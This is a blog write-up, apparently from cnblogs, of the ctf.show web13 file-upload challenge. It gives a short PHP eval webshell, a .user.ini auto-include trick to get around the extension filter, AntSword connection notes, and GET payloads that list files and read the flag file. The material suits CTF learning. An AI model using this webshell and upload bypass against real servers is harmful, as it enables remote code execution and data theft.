[WEB13] ctf.show_web13
[WEB13] ctf.show_web13
文件上传的要求:
文件的大小要小于24,并且对名字的,后缀的长度都有要求,后缀和名字都不可以包含php的情况下,需要上传一句话木马,小于等于24的格式可以写:
<?php eval($_POST[a]);
但是如果写成txt的后缀,会由于后缀问题服务器无法解释该php语句
- 一句话木马写入txt
- 上传.user.ini文件
在php中".user.ini"有如下解释:
php会在每个目录下搜寻文件名,如果设定为空字符串则php不会搜寻,也就是在“.user.ini”中如果设置了文件名,那么任意一个页面都将该文件中的内容包含进去。
- 上传txt文件
此处一句话木马使用了GET的方式,而GET方式可以成功连接蚁剑,但是没有权限进行操作,为什么不使用POST呢?因为使用GET方式的payload全都不可连接,并且因为好奇经过了以下的测试:
结论: 我猜测蚁剑探测上传会探测是否是POST方式,使用POST方式对cmd传入eval执行一个随机生成的POST变量名的值base64解码,并且获得了相应的响应,但是GET方式不符合这个流程。
具体推荐查看此文章:[关于一句话中使用的assert和eval - Article_kelp - 博客园 (cnblogs.com)](https://www.cnblogs.com/Article-kelp/p/14704975.html#:~:text=可以看到蚁剑使用了,POST方式 对cmd传入eval执行一个随机生成的POST变量名的值base64解码,并且获得了相应的响应,便有了蚁剑绿色框显示的连接成功。)
- “在“.user.ini”中如果设置了文件名,那么任意一个页面都将该文件中的内容包含进去。"
所以可以使用GET方式在任何一个页面执行php代码,配合print_r(),glob()和heiglight_file()函数
- Print_r() 打印变量
- Glob() 返回一个包含匹配指定模式的文件名或目录的数组
- highlight_file() 显示文件前端
payload:?c=print_r(glob("*"));
payload: ?c=highlight_file("903c00105c0141fd37ff47697e916e53616e33a72fb3774ab213b3e2a732f56f.php");
题目结束 以上是我的个人见解
欢迎指正 互相交流
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】凌霞软件回馈社区,博客园 & 1Panel & Halo 联合会员上线
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】博客园社区专享云产品让利特惠,阿里云新客6.5折上折
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 清华大学推出第四讲使用 DeepSeek + DeepResearch 让科研像聊天一样简单!
· 推荐几款开源且免费的 .NET MAUI 组件库
· 实操Deepseek接入个人知识库
· 易语言 —— 开山篇
· Trae初体验